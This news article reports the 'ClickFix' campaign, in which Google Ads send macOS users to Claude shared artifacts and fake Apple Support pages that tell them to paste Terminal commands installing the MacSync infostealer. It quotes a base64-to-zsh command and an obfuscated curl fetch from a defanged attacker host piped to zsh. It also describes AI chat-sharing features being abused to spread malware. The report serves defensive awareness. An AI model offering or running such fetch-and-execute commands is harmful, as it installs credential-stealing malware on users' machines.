Mac infostealer attack campaigns are on the rise, now dangerously exploiting Claude LLM artifacts and Google Ads to target macOS users. This new wave of attacks, dubbed ‘ClickFix,’ is distributing information-stealing malware to unsuspecting users searching for specific queries.
At least two variants of this malicious activity have been observed, and tragically, over 10,000 users have already accessed content containing harmful instructions. The attackers are leveraging a feature of Anthropic’s Claude LLM that allows users to share generated content publicly. These ‘artifacts’ – instructions, code snippets, and other outputs – are hosted on the claude.ai domain and are being weaponized.
Researchers at MacPaw’s Moonlock Lab and AdGuard discovered these malicious search results appearing for queries like “online DNS resolver,” “macOS CLI disk space analyzer,” and “HomeBrew.” These results lead victims to either a compromised Claude artifact or a fake Apple Support page on Medium. In both scenarios, users are instructed to paste a shell command into their Terminal.
The first variant of the attack uses the command: ‘echo “…” | base64 -D | zsh,’ while the second employs: ‘true && cur””l -SsLfk –compressed “https://raxelpak[.]com/curl/[hash]” | zsh’. Running these commands downloads a malware loader for the MacSync infostealer, which then exfiltrates sensitive data from the compromised system.
“The response is piped directly to osascript – the AppleScript handles the actual stealing (keychain, browser data, crypto wallets),”
The stolen data is then packaged into a zip archive and sent to the attacker’s command-and-control (C2) server. If the initial upload fails, the archive is split into smaller chunks, and the exfiltration is retried multiple times. After a successful upload, all traces of the malware are deleted.
The Rise of LLM-Based Mac Malware
This Mac infostealer attack is not an isolated incident. A similar campaign recently exploited the chat sharing features in ChatGPT and Grok to distribute the AMOS infostealer. This indicates a disturbing trend: threat actors are increasingly targeting large language models (LLMs) as vectors for malware distribution.
How to Protect Yourself From Mac Infostealer Attacks
Users must exercise extreme caution when executing commands in their Terminal, especially those found through search engines or shared online. Always scrutinize the source and purpose of any command before running it. As Kaspersky researchers advise, you can ask the chatbot itself about the safety of the provided command within the same conversation.
It’s also crucial to keep your macOS system and security software up to date. Regularly scan your system for malware and be wary of suspicious links or files. Stay informed about the latest cybersecurity threats and trends to better protect yourself from evolving attacks.
Mac Infostealer Attack: The MacSync Variant
Moonlock Lab’s investigation revealed that both variants of the Mac infostealer attack ultimately fetch the second-stage payload from the same C2 address, suggesting a single threat actor is orchestrating the campaign. The MacSync infostealer uses a hardcoded token and API key to communicate with the C2 infrastructure and spoofs a macOS browser user-agent to blend in with normal network traffic.
Stay Vigilant Against Evolving Threats
The exploitation of Claude LLM artifacts and other AI-powered platforms highlights the evolving sophistication of cyber threats. It’s more important than ever to stay vigilant, educate yourself about the latest attack vectors, and implement robust security measures to protect your sensitive information. For related articles, see related Fraudulents news.
Source: BleepingComputer
